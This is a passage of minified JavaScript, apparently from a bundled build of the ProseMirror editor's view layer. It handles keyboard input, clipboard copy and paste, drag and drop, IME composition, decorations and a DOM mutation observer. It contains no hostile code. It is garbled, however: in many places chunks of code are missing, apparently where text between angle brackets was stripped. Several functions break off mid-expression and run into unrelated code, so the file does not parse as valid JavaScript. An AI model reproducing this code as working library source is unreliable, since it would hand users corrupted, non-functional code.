c?ti(t,c):!1}return!1}function Y1(t,e){if(!(t.state.selection instanceof Ze))return!0;let{$head:n,$anchor:r,empty:a}=t.state.selection;if(!n.sameParent(r))return!0;if(!a)return!1;if(t.endOfTextblock(e>0?"forward":"backward"))return!0;let i=!n.textOffset&&(e<0?n.nodeBefore:n.nodeAfter);if(i&&!i.isText){let o=t.state.tr;return e<0?o.delete(n.pos-i.nodeSize,n.pos):o.delete(n.pos,n.pos+i.nodeSize),t.dispatch(o),!0}return!1}function Q1(t,e,n){t.domObserver.stop(),e.contentEditable=n,t.domObserver.start()}function zD(t){if(!ur||t.state.selection.$head.parentOffset>0)return!1;let{focusNode:e,focusOffset:n}=t.domSelectionRange();if(e&&e.nodeType==1&&n==0&&e.firstChild&&e.firstChild.contentEditable=="false"){let r=e.firstChild;Q1(t,r,"true"),setTimeout(()=>Q1(t,r,"false"),20)}return!1}function $D(t){let e="";return t.ctrlKey&&(e+="c"),t.metaKey&&(e+="m"),t.altKey&&(e+="a"),t.shiftKey&&(e+="s"),e}function FD(t,e){let n=e.keyCode,r=$D(e);if(n==8||ss&&n==72&&r=="c")return Y1(t,-1)||ll(t,-1);if(n==46&&!e.shiftKey||ss&&n==68&&r=="c")return Y1(t,1)||ll(t,1);if(n==13||n==27)return!0;if(n==37||ss&&n==66&&r=="c"){let a=n==37?G1(t,t.state.selection.from)=="ltr"?-1:1:-1;return q1(t,a,r)||ll(t,a)}else if(n==39||ss&&n==70&&r=="c"){let a=n==39?G1(t,t.state.selection.from)=="ltr"?1:-1:1;return q1(t,a,r)||ll(t,a)}else{if(n==38||ss&&n==80&&r=="c")return J1(t,-1,r)||ll(t,-1);if(n==40||ss&&n==78&&r=="c")return zD(t)||J1(t,1,r)||ll(t,1);if(r==(ss?"m":"c")&&(n==66||n==73||n==89||n==90))return!0}return!1}function y0(t,e){t.someProp("transformCopied",y=>{e=y(e,t)});let n=[],{content:r,openStart:a,openEnd:i}=e;for(;a>1&&i>1&&r.childCount==1&&r.firstChild.childCount==1;){a--,i--;let y=r.firstChild;n.push(y.type.name,y.attrs!=y.type.defaultAttrs?y.attrs:null),r=y.content}let o=t.someProp("clipboardSerializer")||Mo.fromSchema(t.state.schema),c=n2(),u=c.createElement("div");u.appendChild(o.serializeFragment(r,{document:c}));let h=u.firstChild,f,m=0;for(;h&&h.nodeType==1&&(f=t2[h.nodeName.toLowerCase()]);){for(let y=f.length-1;y>=0;y--){let N=c.createElement(f[y]);for(;u.firstChild;)N.appendChild(u.firstChild);u.appendChild(N),m++}h=u.firstChild}h&&h.nodeType==1&&h.setAttribute("data-pm-slice",`${a} ${i}${m?` -${m}`:""} ${JSON.stringify(n)}`);let g=t.someProp("clipboardTextSerializer",y=>y(e,t))||e.content.textBetween(0,e.content.size,` `);return{dom:u,text:g,slice:e}}function QS(t,e,n,r,a){let i=a.parent.type.spec.code,o,c;if(!n&&!e)return null;let u=!!e&&(r||i||!n);if(u){if(t.someProp("transformPastedText",g=>{e=g(e,i||r,t)}),i)return c=new Ie(be.from(t.state.schema.text(e.replace(/\r\n?/g,` -`))),0,0),t.someProp("transformPasted",g=>{c=g(c,t,!0)}),c;let m=t.someProp("clipboardTextParser",g=>g(e,a,r,t));if(m)c=m;else{let g=a.marks(),{schema:y}=t.state,N=Mo.fromSchema(y);o=document.createElement("div"),e.split(/(?:\r\n?|\n)+/).forEach(w=>{let v=o.appendChild(document.createElement("p"));w&&v.appendChild(N.serializeNode(y.text(w,g)))})}}else t.someProp("transformPastedHTML",m=>{n=m(n,t)}),o=WD(n),vd&&UD(o);let h=o&&o.querySelector("[data-pm-slice]"),f=h&&/^(\d+) (\d+)(?: -(\d+))? (.*)/.exec(h.getAttribute("data-pm-slice")||"");if(f&&f[3])for(let m=+f[3];m>0;m--){let g=o.firstChild;for(;g&&g.nodeType!=1;)g=g.nextSibling;if(!g)break;o=g}if(c||(c=(t.someProp("clipboardParser")||t.someProp("domParser")||pi.fromSchema(t.state.schema)).parseSlice(o,{preserveWhitespace:!!(u||f),context:a,ruleFromNode(g){return g.nodeName=="BR"&&!g.nextSibling&&g.parentNode&&!BD.test(g.parentNode.nodeName)?{ignore:!0}:null}})),f)c=KD(X1(c,+f[1],+f[2]),f[4]);else if(c=Ie.maxOpen(VD(c.content,a),!0),c.openStart||c.openEnd){let m=0,g=0;for(let y=c.content.firstChild;m{c=m(c,t,u)}),c}const BD=/^(a|abbr|acronym|b|cite|code|del|em|i|ins|kbd|label|output|q|ruby|s|samp|span|strong|sub|sup|time|u|tt|var)$/i;function VD(t,e){if(t.childCount<2)return t;for(let n=e.depth;n>=0;n--){let a=e.node(n).contentMatchAt(e.index(n)),i,o=[];if(t.forEach(c=>{if(!o)return;let u=a.findWrapping(c.type),h;if(!u)return o=null;if(h=o.length&&i.length&&ZS(u,i,c,o[o.length-1],0))o[o.length-1]=h;else{o.length&&(o[o.length-1]=e2(o[o.length-1],i.length));let f=XS(c,u);o.push(f),a=a.matchType(f.type),i=u}}),o)return be.from(o)}return t}function XS(t,e,n=0){for(let r=e.length-1;r>=n;r--)t=e[r].create(null,be.from(t));return t}function ZS(t,e,n,r,a){if(a1&&(i=0),a=n&&(c=e<0?o.contentMatchAt(0).fillBefore(c,i<=a).append(c):c.append(o.contentMatchAt(o.childCount).fillBefore(be.empty,!0))),t.replaceChild(e<0?0:t.childCount-1,o.copy(c))}function X1(t,e,n){return en})),Zm.createHTML(t)):t}function WD(t){let e=/^(\s*]*>)*/.exec(t);e&&(t=t.slice(e[0].length));let n=n2().createElement("div"),r=/<([a-z][^>\s]+)/i.exec(t),a;if((a=r&&t2[r[1].toLowerCase()])&&(t=a.map(i=>"<"+i+">").join("")+t+a.map(i=>"").reverse().join("")),n.innerHTML=HD(t),a)for(let i=0;i=0;c-=2){let u=n.nodes[r[c]];if(!u||u.hasRequiredAttrs())break;a=be.from(u.create(r[c+1],a)),i++,o++}return new Ie(a,i,o)}const vr={},Nr={},qD={touchstart:!0,touchmove:!0};class GD{constructor(){this.shiftKey=!1,this.mouseDown=null,this.lastKeyCode=null,this.lastKeyCodeTime=0,this.lastClick={time:0,x:0,y:0,type:"",button:0},this.lastSelectionOrigin=null,this.lastSelectionTime=0,this.lastIOSEnter=0,this.lastIOSEnterFallbackTimeout=-1,this.lastFocus=0,this.lastTouch=0,this.lastChromeDelete=0,this.composing=!1,this.compositionNode=null,this.composingTimeout=-1,this.compositionNodes=[],this.compositionEndedAt=-2e8,this.compositionID=1,this.badSafariComposition=!1,this.compositionPendingChanges=0,this.domChangeCount=0,this.eventHandlers=Object.create(null),this.hideSelectionGuard=null}}function JD(t){for(let e in vr){let n=vr[e];t.dom.addEventListener(e,t.input.eventHandlers[e]=r=>{QD(t,r)&&!b0(t,r)&&(t.editable||!(r.type in Nr))&&n(t,r)},qD[e]?{passive:!0}:void 0)}ur&&t.dom.addEventListener("input",()=>null),ax(t)}function ui(t,e){t.input.lastSelectionOrigin=e,t.input.lastSelectionTime=Date.now()}function YD(t){t.domObserver.stop();for(let e in t.input.eventHandlers)t.dom.removeEventListener(e,t.input.eventHandlers[e]);clearTimeout(t.input.composingTimeout),clearTimeout(t.input.lastIOSEnterFallbackTimeout)}function ax(t){t.someProp("handleDOMEvents",e=>{for(let n in e)t.input.eventHandlers[n]||t.dom.addEventListener(n,t.input.eventHandlers[n]=r=>b0(t,r))})}function b0(t,e){return t.someProp("handleDOMEvents",n=>{let r=n[e.type];return r?r(t,e)||e.defaultPrevented:!1})}function QD(t,e){if(!e.bubbles)return!0;if(e.defaultPrevented)return!1;for(let n=e.target;n!=t.dom;n=n.parentNode)if(!n||n.nodeType==11||n.pmViewDesc&&n.pmViewDesc.stopEvent(e))return!1;return!0}function XD(t,e){!b0(t,e)&&vr[e.type]&&(t.editable||!(e.type in Nr))&&vr[e.type](t,e)}Nr.keydown=(t,e)=>{let n=e;if(t.input.shiftKey=n.keyCode==16||n.shiftKey,!s2(t,n)&&(t.input.lastKeyCode=n.keyCode,t.input.lastKeyCodeTime=Date.now(),!(va&&Xn&&n.keyCode==13)))if(n.keyCode!=229&&t.domObserver.forceFlush(),El&&n.keyCode==13&&!n.ctrlKey&&!n.altKey&&!n.metaKey){let r=Date.now();t.input.lastIOSEnter=r,t.input.lastIOSEnterFallbackTimeout=setTimeout(()=>{t.input.lastIOSEnter==r&&(t.someProp("handleKeyDown",a=>a(t,to(13,"Enter"))),t.input.lastIOSEnter=0)},200)}else t.someProp("handleKeyDown",r=>r(t,n))||FD(t,n)?n.preventDefault():ui(t,"key")};Nr.keyup=(t,e)=>{e.keyCode==16&&(t.input.shiftKey=!1)};Nr.keypress=(t,e)=>{let n=e;if(s2(t,n)||!n.charCode||n.ctrlKey&&!n.altKey||ss&&n.metaKey)return;if(t.someProp("handleKeyPress",a=>a(t,n))){n.preventDefault();return}let r=t.state.selection;if(!(r instanceof Ze)||!r.$from.sameParent(r.$to)){let a=String.fromCharCode(n.charCode),i=()=>t.state.tr.insertText(a).scrollIntoView();!/[\r\n]/.test(a)&&!t.someProp("handleTextInput",o=>o(t,r.$from.pos,r.$to.pos,a,i))&&t.dispatch(i()),n.preventDefault()}};function Mf(t){return{left:t.clientX,top:t.clientY}}function ZD(t,e){let n=e.x-t.clientX,r=e.y-t.clientY;return n*n+r*r<100}function v0(t,e,n,r,a){if(r==-1)return!1;let i=t.state.doc.resolve(r);for(let o=i.depth+1;o>0;o--)if(t.someProp(e,c=>o>i.depth?c(t,n,i.nodeAfter,i.before(o),a,!0):c(t,n,i.node(o),i.before(o),a,!1)))return!0;return!1}function Nl(t,e,n){if(t.focused||t.focus(),t.state.selection.eq(e))return;let r=t.state.tr.setSelection(e);r.setMeta("pointer",!0),t.dispatch(r)}function eL(t,e){if(e==-1)return!1;let n=t.state.doc.resolve(e),r=n.nodeAfter;return r&&r.isAtom&&Xe.isSelectable(r)?(Nl(t,new Xe(n)),!0):!1}function tL(t,e){if(e==-1)return!1;let n=t.state.selection,r,a;n instanceof Xe&&(r=n.node);let i=t.state.doc.resolve(e);for(let o=i.depth+1;o>0;o--){let c=o>i.depth?i.nodeAfter:i.node(o);if(Xe.isSelectable(c)){r&&n.$from.depth>0&&o>=n.$from.depth&&i.before(n.$from.depth+1)==n.$from.pos?a=i.before(n.$from.depth):a=i.before(o);break}}return a!=null?(Nl(t,Xe.create(t.state.doc,a)),!0):!1}function nL(t,e,n,r,a){return v0(t,"handleClickOn",e,n,r)||t.someProp("handleClick",i=>i(t,e,r))||(a?tL(t,n):eL(t,n))}function rL(t,e,n,r){return v0(t,"handleDoubleClickOn",e,n,r)||t.someProp("handleDoubleClick",a=>a(t,e,r))}function sL(t,e,n,r){return v0(t,"handleTripleClickOn",e,n,r)||t.someProp("handleTripleClick",a=>a(t,e,r))||aL(t,n,r)}function aL(t,e,n){if(n.button!=0)return!1;let r=t.state.doc;if(e==-1)return r.inlineContent?(Nl(t,Ze.create(r,0,r.content.size)),!0):!1;let a=r.resolve(e);for(let i=a.depth+1;i>0;i--){let o=i>a.depth?a.nodeAfter:a.node(i),c=a.before(i);if(o.inlineContent)Nl(t,Ze.create(r,c+1,c+1+o.content.size));else if(Xe.isSelectable(o))Nl(t,Xe.create(r,c));else continue;return!0}}function N0(t){return jh(t)}const r2=ss?"metaKey":"ctrlKey";vr.mousedown=(t,e)=>{let n=e;t.input.shiftKey=n.shiftKey;let r=N0(t),a=Date.now(),i="singleClick";a-t.input.lastClick.time<500&&ZD(n,t.input.lastClick)&&!n[r2]&&t.input.lastClick.button==n.button&&(t.input.lastClick.type=="singleClick"?i="doubleClick":t.input.lastClick.type=="doubleClick"&&(i="tripleClick")),t.input.lastClick={time:a,x:n.clientX,y:n.clientY,type:i,button:n.button};let o=t.posAtCoords(Mf(n));o&&(i=="singleClick"?(t.input.mouseDown&&t.input.mouseDown.done(),t.input.mouseDown=new iL(t,o,n,!!r)):(i=="doubleClick"?rL:sL)(t,o.pos,o.inside,n)?n.preventDefault():ui(t,"pointer"))};class iL{constructor(e,n,r,a){this.view=e,this.pos=n,this.event=r,this.flushed=a,this.delayedSelectionSync=!1,this.mightDrag=null,this.startDoc=e.state.doc,this.selectNode=!!r[r2],this.allowDefault=r.shiftKey;let i,o;if(n.inside>-1)i=e.state.doc.nodeAt(n.inside),o=n.inside;else{let f=e.state.doc.resolve(n.pos);i=f.parent,o=f.depth?f.before():0}const c=a?null:r.target,u=c?e.docView.nearestDesc(c,!0):null;this.target=u&&u.nodeDOM.nodeType==1?u.nodeDOM:null;let{selection:h}=e.state;(r.button==0&&i.type.spec.draggable&&i.type.spec.selectable!==!1||h instanceof Xe&&h.from<=o&&h.to>o)&&(this.mightDrag={node:i,pos:o,addAttr:!!(this.target&&!this.target.draggable),setUneditable:!!(this.target&&ls&&!this.target.hasAttribute("contentEditable"))}),this.target&&this.mightDrag&&(this.mightDrag.addAttr||this.mightDrag.setUneditable)&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&(this.target.draggable=!0),this.mightDrag.setUneditable&&setTimeout(()=>{this.view.input.mouseDown==this&&this.target.setAttribute("contentEditable","false")},20),this.view.domObserver.start()),e.root.addEventListener("mouseup",this.up=this.up.bind(this)),e.root.addEventListener("mousemove",this.move=this.move.bind(this)),ui(e,"pointer")}done(){this.view.root.removeEventListener("mouseup",this.up),this.view.root.removeEventListener("mousemove",this.move),this.mightDrag&&this.target&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&this.target.removeAttribute("draggable"),this.mightDrag.setUneditable&&this.target.removeAttribute("contentEditable"),this.view.domObserver.start()),this.delayedSelectionSync&&setTimeout(()=>ka(this.view)),this.view.input.mouseDown=null}up(e){if(this.done(),!this.view.dom.contains(e.target))return;let n=this.pos;this.view.state.doc!=this.startDoc&&(n=this.view.posAtCoords(Mf(e))),this.updateAllowDefault(e),this.allowDefault||!n?ui(this.view,"pointer"):nL(this.view,n.pos,n.inside,e,this.selectNode)?e.preventDefault():e.button==0&&(this.flushed||ur&&this.mightDrag&&!this.mightDrag.node.isAtom||Xn&&!this.view.state.selection.visible&&Math.min(Math.abs(n.pos-this.view.state.selection.from),Math.abs(n.pos-this.view.state.selection.to))<=2)?(Nl(this.view,rt.near(this.view.state.doc.resolve(n.pos))),e.preventDefault()):ui(this.view,"pointer")}move(e){this.updateAllowDefault(e),ui(this.view,"pointer"),e.buttons==0&&this.done()}updateAllowDefault(e){!this.allowDefault&&(Math.abs(this.event.x-e.clientX)>4||Math.abs(this.event.y-e.clientY)>4)&&(this.allowDefault=!0)}}vr.touchstart=t=>{t.input.lastTouch=Date.now(),N0(t),ui(t,"pointer")};vr.touchmove=t=>{t.input.lastTouch=Date.now(),ui(t,"pointer")};vr.contextmenu=t=>N0(t);function s2(t,e){return t.composing?!0:ur&&Math.abs(e.timeStamp-t.input.compositionEndedAt)<500?(t.input.compositionEndedAt=-2e8,!0):!1}const oL=va?5e3:-1;Nr.compositionstart=Nr.compositionupdate=t=>{if(!t.composing){t.domObserver.flush();let{state:e}=t,n=e.selection.$to;if(e.selection instanceof Ze&&(e.storedMarks||!n.textOffset&&n.parentOffset&&n.nodeBefore.marks.some(r=>r.type.spec.inclusive===!1)||Xn&&DS&&lL(t)))t.markCursor=t.state.storedMarks||n.marks(),jh(t,!0),t.markCursor=null;else if(jh(t,!e.selection.empty),ls&&e.selection.empty&&n.parentOffset&&!n.textOffset&&n.nodeBefore.marks.length){let r=t.domSelectionRange();for(let a=r.focusNode,i=r.focusOffset;a&&a.nodeType==1&&i!=0;){let o=i<0?a.lastChild:a.childNodes[i-1];if(!o)break;if(o.nodeType==3){let c=t.domSelection();c&&c.collapse(o,o.nodeValue.length);break}else a=o,i=-1}}t.input.composing=!0}a2(t,oL)};function lL(t){let{focusNode:e,focusOffset:n}=t.domSelectionRange();if(!e||e.nodeType!=1||n>=e.childNodes.length)return!1;let r=e.childNodes[n];return r.nodeType==1&&r.contentEditable=="false"}Nr.compositionend=(t,e)=>{t.composing&&(t.input.composing=!1,t.input.compositionEndedAt=e.timeStamp,t.input.compositionPendingChanges=t.domObserver.pendingRecords().length?t.input.compositionID:0,t.input.compositionNode=null,t.input.badSafariComposition?t.domObserver.forceFlush():t.input.compositionPendingChanges&&Promise.resolve().then(()=>t.domObserver.flush()),t.input.compositionID++,a2(t,20))};function a2(t,e){clearTimeout(t.input.composingTimeout),e>-1&&(t.input.composingTimeout=setTimeout(()=>jh(t),e))}function i2(t){for(t.composing&&(t.input.composing=!1,t.input.compositionEndedAt=dL());t.input.compositionNodes.length>0;)t.input.compositionNodes.pop().markParentsDirty()}function cL(t){let e=t.domSelectionRange();if(!e.focusNode)return null;let n=tD(e.focusNode,e.focusOffset),r=nD(e.focusNode,e.focusOffset);if(n&&r&&n!=r){let a=r.pmViewDesc,i=t.domObserver.lastChangedTextNode;if(n==i||r==i)return i;if(!a||!a.isText(r.nodeValue))return r;if(t.input.compositionNode==r){let o=n.pmViewDesc;if(!(!o||!o.isText(n.nodeValue)))return r}}return n||r}function dL(){let t=document.createEvent("Event");return t.initEvent("event",!0,!0),t.timeStamp}function jh(t,e=!1){if(!(va&&t.domObserver.flushingSoon>=0)){if(t.domObserver.forceFlush(),i2(t),e||t.docView&&t.docView.dirty){let n=g0(t),r=t.state.selection;return n&&!n.eq(r)?t.dispatch(t.state.tr.setSelection(n)):(t.markCursor||e)&&!r.$from.node(r.$from.sharedDepth(r.to)).inlineContent?t.dispatch(t.state.tr.deleteSelection()):t.updateState(t.state),!0}return!1}}function uL(t,e){if(!t.dom.parentNode)return;let n=t.dom.parentNode.appendChild(document.createElement("div"));n.appendChild(e),n.style.cssText="position: fixed; left: -10000px; top: 10px";let r=getSelection(),a=document.createRange();a.selectNodeContents(e),t.dom.blur(),r.removeAllRanges(),r.addRange(a),setTimeout(()=>{n.parentNode&&n.parentNode.removeChild(n),t.focus()},50)}const ad=Ar&&mi<15||El&&iD<604;vr.copy=Nr.cut=(t,e)=>{let n=e,r=t.state.selection,a=n.type=="cut";if(r.empty)return;let i=ad?null:n.clipboardData,o=r.content(),{dom:c,text:u}=y0(t,o);i?(n.preventDefault(),i.clearData(),i.setData("text/html",c.innerHTML),i.setData("text/plain",u)):uL(t,c),a&&t.dispatch(t.state.tr.deleteSelection().scrollIntoView().setMeta("uiEvent","cut"))};function hL(t){return t.openStart==0&&t.openEnd==0&&t.content.childCount==1?t.content.firstChild:null}function fL(t,e){if(!t.dom.parentNode)return;let n=t.input.shiftKey||t.state.selection.$from.parent.type.spec.code,r=t.dom.parentNode.appendChild(document.createElement(n?"textarea":"div"));n||(r.contentEditable="true"),r.style.cssText="position: fixed; left: -10000px; top: 10px",r.focus();let a=t.input.shiftKey&&t.input.lastKeyCode!=45;setTimeout(()=>{t.focus(),r.parentNode&&r.parentNode.removeChild(r),n?id(t,r.value,null,a,e):id(t,r.textContent,r.innerHTML,a,e)},50)}function id(t,e,n,r,a){let i=QS(t,e,n,r,t.state.selection.$from);if(t.someProp("handlePaste",u=>u(t,a,i||Ie.empty)))return!0;if(!i)return!1;let o=hL(i),c=o?t.state.tr.replaceSelectionWith(o,r):t.state.tr.replaceSelection(i);return t.dispatch(c.scrollIntoView().setMeta("paste",!0).setMeta("uiEvent","paste")),!0}function o2(t){let e=t.getData("text/plain")||t.getData("Text");if(e)return e;let n=t.getData("text/uri-list");return n?n.replace(/\r?\n/g," "):""}Nr.paste=(t,e)=>{let n=e;if(t.composing&&!va)return;let r=ad?null:n.clipboardData,a=t.input.shiftKey&&t.input.lastKeyCode!=45;r&&id(t,o2(r),r.getData("text/html"),a,n)?n.preventDefault():fL(t,n)};class l2{constructor(e,n,r){this.slice=e,this.move=n,this.node=r}}const pL=ss?"altKey":"ctrlKey";function c2(t,e){let n=t.someProp("dragCopies",r=>!r(e));return n??!e[pL]}vr.dragstart=(t,e)=>{let n=e,r=t.input.mouseDown;if(r&&r.done(),!n.dataTransfer)return;let a=t.state.selection,i=a.empty?null:t.posAtCoords(Mf(n)),o;if(!(i&&i.pos>=a.from&&i.pos<=(a instanceof Xe?a.to-1:a.to))){if(r&&r.mightDrag)o=Xe.create(t.state.doc,r.mightDrag.pos);else if(n.target&&n.target.nodeType==1){let m=t.docView.nearestDesc(n.target,!0);m&&m.node.type.spec.draggable&&m!=t.docView&&(o=Xe.create(t.state.doc,m.posBefore))}}let c=(o||t.state.selection).content(),{dom:u,text:h,slice:f}=y0(t,c);(!n.dataTransfer.files.length||!Xn||OS>120)&&n.dataTransfer.clearData(),n.dataTransfer.setData(ad?"Text":"text/html",u.innerHTML),n.dataTransfer.effectAllowed="copyMove",ad||n.dataTransfer.setData("text/plain",h),t.dragging=new l2(f,c2(t,n),o)};vr.dragend=t=>{let e=t.dragging;window.setTimeout(()=>{t.dragging==e&&(t.dragging=null)},50)};Nr.dragover=Nr.dragenter=(t,e)=>e.preventDefault();Nr.drop=(t,e)=>{try{mL(t,e,t.dragging)}finally{t.dragging=null}};function mL(t,e,n){if(!e.dataTransfer)return;let r=t.posAtCoords(Mf(e));if(!r)return;let a=t.state.doc.resolve(r.pos),i=n&&n.slice;i?t.someProp("transformPasted",y=>{i=y(i,t,!1)}):i=QS(t,o2(e.dataTransfer),ad?null:e.dataTransfer.getData("text/html"),!1,a);let o=!!(n&&c2(t,e));if(t.someProp("handleDrop",y=>y(t,e,i||Ie.empty,o))){e.preventDefault();return}if(!i)return;e.preventDefault();let c=i?fS(t.state.doc,a.pos,i):a.pos;c==null&&(c=a.pos);let u=t.state.tr;if(o){let{node:y}=n;y?y.replace(u):u.deleteSelection()}let h=u.mapping.map(c),f=i.openStart==0&&i.openEnd==0&&i.content.childCount==1,m=u.doc;if(f?u.replaceRangeWith(h,h,i.content.firstChild):u.replaceRange(h,h,i),u.doc.eq(m))return;let g=u.doc.resolve(h);if(f&&Xe.isSelectable(i.content.firstChild)&&g.nodeAfter&&g.nodeAfter.sameMarkup(i.content.firstChild))u.setSelection(new Xe(g));else{let y=u.mapping.map(c);u.mapping.maps[u.mapping.maps.length-1].forEach((N,w,v,k)=>y=k),u.setSelection(x0(t,g,u.doc.resolve(y)))}t.focus(),t.dispatch(u.setMeta("uiEvent","drop"))}vr.focus=t=>{t.input.lastFocus=Date.now(),t.focused||(t.domObserver.stop(),t.dom.classList.add("ProseMirror-focused"),t.domObserver.start(),t.focused=!0,setTimeout(()=>{t.docView&&t.hasFocus()&&!t.domObserver.currentSelection.eq(t.domSelectionRange())&&ka(t)},20))};vr.blur=(t,e)=>{let n=e;t.focused&&(t.domObserver.stop(),t.dom.classList.remove("ProseMirror-focused"),t.domObserver.start(),n.relatedTarget&&t.dom.contains(n.relatedTarget)&&t.domObserver.currentSelection.clear(),t.focused=!1)};vr.beforeinput=(t,e)=>{if(Xn&&va&&e.inputType=="deleteContentBackward"){t.domObserver.flushSoon();let{domChangeCount:r}=t.input;setTimeout(()=>{if(t.input.domChangeCount!=r||(t.dom.blur(),t.focus(),t.someProp("handleKeyDown",i=>i(t,to(8,"Backspace")))))return;let{$cursor:a}=t.state.selection;a&&a.pos>0&&t.dispatch(t.state.tr.delete(a.pos-1,a.pos).scrollIntoView())},50)}};for(let t in Nr)vr[t]=Nr[t];function od(t,e){if(t==e)return!0;for(let n in t)if(t[n]!==e[n])return!1;for(let n in e)if(!(n in t))return!1;return!0}class kh{constructor(e,n){this.toDOM=e,this.spec=n||fo,this.side=this.spec.side||0}map(e,n,r,a){let{pos:i,deleted:o}=e.mapResult(n.from+a,this.side<0?-1:1);return o?null:new An(i-r,i-r,this)}valid(){return!0}eq(e){return this==e||e instanceof kh&&(this.spec.key&&this.spec.key==e.spec.key||this.toDOM==e.toDOM&&od(this.spec,e.spec))}destroy(e){this.spec.destroy&&this.spec.destroy(e)}}class xi{constructor(e,n){this.attrs=e,this.spec=n||fo}map(e,n,r,a){let i=e.map(n.from+a,this.spec.inclusiveStart?-1:1)-r,o=e.map(n.to+a,this.spec.inclusiveEnd?1:-1)-r;return i>=o?null:new An(i,o,this)}valid(e,n){return n.from=e&&(!i||i(c.spec))&&r.push(c.copy(c.from+a,c.to+a))}for(let o=0;oe){let c=this.children[o]+1;this.children[o+2].findInner(e-c,n-c,r,a+c,i)}}map(e,n,r){return this==ar||e.maps.length==0?this:this.mapInner(e,n,0,0,r||fo)}mapInner(e,n,r,a,i){let o;for(let c=0;c{let h=u+r,f;if(f=u2(n,c,h)){for(a||(a=this.children.slice());ic&&m.to=e){this.children[c]==e&&(r=this.children[c+2]);break}let i=e+1,o=i+n.content.size;for(let c=0;ci&&u.type instanceof xi){let h=Math.max(i,u.from)-i,f=Math.min(o,u.to)-i;ha.map(e,n,fo));return si.from(r)}forChild(e,n){if(n.isLeaf)return $t.empty;let r=[];for(let a=0;an instanceof $t)?e:e.reduce((n,r)=>n.concat(r instanceof $t?r:r.members),[]))}}forEachSet(e){for(let n=0;n{let v=w-N-(y-g);for(let k=0;kC+f-m)continue;let E=c[k]+f-m;y>=E?c[k+1]=g<=E?-2:-1:g>=f&&v&&(c[k]+=v,c[k+1]+=v)}m+=v}),f=n.maps[h].map(f,-1)}let u=!1;for(let h=0;h=r.content.size){u=!0;continue}let g=n.map(t[h+1]+i,-1),y=g-a,{index:N,offset:w}=r.content.findIndex(m),v=r.maybeChild(N);if(v&&w==m&&w+v.nodeSize==y){let k=c[h+2].mapInner(n,v,f+1,t[h]+i+1,o);k!=ar?(c[h]=m,c[h+1]=y,c[h+2]=k):(c[h+1]=-2,u=!0)}else u=!0}if(u){let h=xL(c,t,e,n,a,i,o),f=Sh(h,r,0,o);e=f.local;for(let m=0;mn&&o.to{let h=u2(t,c,u+n);if(h){i=!0;let f=Sh(h,c,n+u+1,r);f!=ar&&a.push(u,u+c.nodeSize,f)}});let o=d2(i?h2(t):t,-n).sort(po);for(let c=0;c0;)e++;t.splice(e,0,n)}function eg(t){let e=[];return t.someProp("decorations",n=>{let r=n(t.state);r&&r!=ar&&e.push(r)}),t.cursorWrapper&&e.push($t.create(t.state.doc,[t.cursorWrapper.deco])),si.from(e)}const yL={childList:!0,characterData:!0,characterDataOldValue:!0,attributes:!0,attributeOldValue:!0,subtree:!0},bL=Ar&&mi<=11;class vL{constructor(){this.anchorNode=null,this.anchorOffset=0,this.focusNode=null,this.focusOffset=0}set(e){this.anchorNode=e.anchorNode,this.anchorOffset=e.anchorOffset,this.focusNode=e.focusNode,this.focusOffset=e.focusOffset}clear(){this.anchorNode=this.focusNode=null}eq(e){return e.anchorNode==this.anchorNode&&e.anchorOffset==this.anchorOffset&&e.focusNode==this.focusNode&&e.focusOffset==this.focusOffset}}class NL{constructor(e,n){this.view=e,this.handleDOMChange=n,this.queue=[],this.flushingSoon=-1,this.observer=null,this.currentSelection=new vL,this.onCharData=null,this.suppressingSelectionUpdates=!1,this.lastChangedTextNode=null,this.observer=window.MutationObserver&&new window.MutationObserver(r=>{for(let a=0;aa.type=="childList"&&a.removedNodes.length||a.type=="characterData"&&a.oldValue.length>a.target.nodeValue.length)?this.flushSoon():ur&&e.composing&&r.some(a=>a.type=="childList"&&a.target.nodeName=="TR")?(e.input.badSafariComposition=!0,this.flushSoon()):this.flush()}),bL&&(this.onCharData=r=>{this.queue.push({target:r.target,type:"characterData",oldValue:r.prevValue}),this.flushSoon()}),this.onSelectionChange=this.onSelectionChange.bind(this)}flushSoon(){this.flushingSoon<0&&(this.flushingSoon=window.setTimeout(()=>{this.flushingSoon=-1,this.flush()},20))}forceFlush(){this.flushingSoon>-1&&(window.clearTimeout(this.flushingSoon),this.flushingSoon=-1,this.flush())}start(){this.observer&&(this.observer.takeRecords(),this.observer.observe(this.view.dom,yL)),this.onCharData&&this.view.dom.addEventListener("DOMCharacterDataModified",this.onCharData),this.connectSelection()}stop(){if(this.observer){let e=this.observer.takeRecords();if(e.length){for(let n=0;nthis.flush(),20)}this.observer.disconnect()}this.onCharData&&this.view.dom.removeEventListener("DOMCharacterDataModified",this.onCharData),this.disconnectSelection()}connectSelection(){this.view.dom.ownerDocument.addEventListener("selectionchange",this.onSelectionChange)}disconnectSelection(){this.view.dom.ownerDocument.removeEventListener("selectionchange",this.onSelectionChange)}suppressSelectionUpdates(){this.suppressingSelectionUpdates=!0,setTimeout(()=>this.suppressingSelectionUpdates=!1,50)}onSelectionChange(){if(K1(this.view)){if(this.suppressingSelectionUpdates)return ka(this.view);if(Ar&&mi<=11&&!this.view.state.selection.empty){let e=this.view.domSelectionRange();if(e.focusNode&&No(e.focusNode,e.focusOffset,e.anchorNode,e.anchorOffset))return this.flushSoon()}this.flush()}}setCurSelection(){this.currentSelection.set(this.view.domSelectionRange())}ignoreSelectionChange(e){if(!e.focusNode)return!0;let n=new Set,r;for(let i=e.focusNode;i;i=Cl(i))n.add(i);for(let i=e.anchorNode;i;i=Cl(i))if(n.has(i)){r=i;break}let a=r&&this.view.docView.nearestDesc(r);if(a&&a.ignoreMutation({type:"selection",target:r.nodeType==3?r.parentNode:r}))return this.setCurSelection(),!0}pendingRecords(){if(this.observer)for(let e of this.observer.takeRecords())this.queue.push(e);return this.queue}flush(){let{view:e}=this;if(!e.docView||this.flushingSoon>-1)return;let n=this.pendingRecords();n.length&&(this.queue=[]);let r=e.domSelectionRange(),a=!this.suppressingSelectionUpdates&&!this.currentSelection.eq(r)&&K1(e)&&!this.ignoreSelectionChange(r),i=-1,o=-1,c=!1,u=[];if(e.editable)for(let f=0;ff.nodeName=="BR")&&(e.input.lastKeyCode==8||e.input.lastKeyCode==46)){for(let f of u)if(f.nodeName=="BR"&&f.parentNode){let m=f.nextSibling;m&&m.nodeType==1&&m.contentEditable=="false"&&f.parentNode.removeChild(f)}}else if(ls&&u.length){let 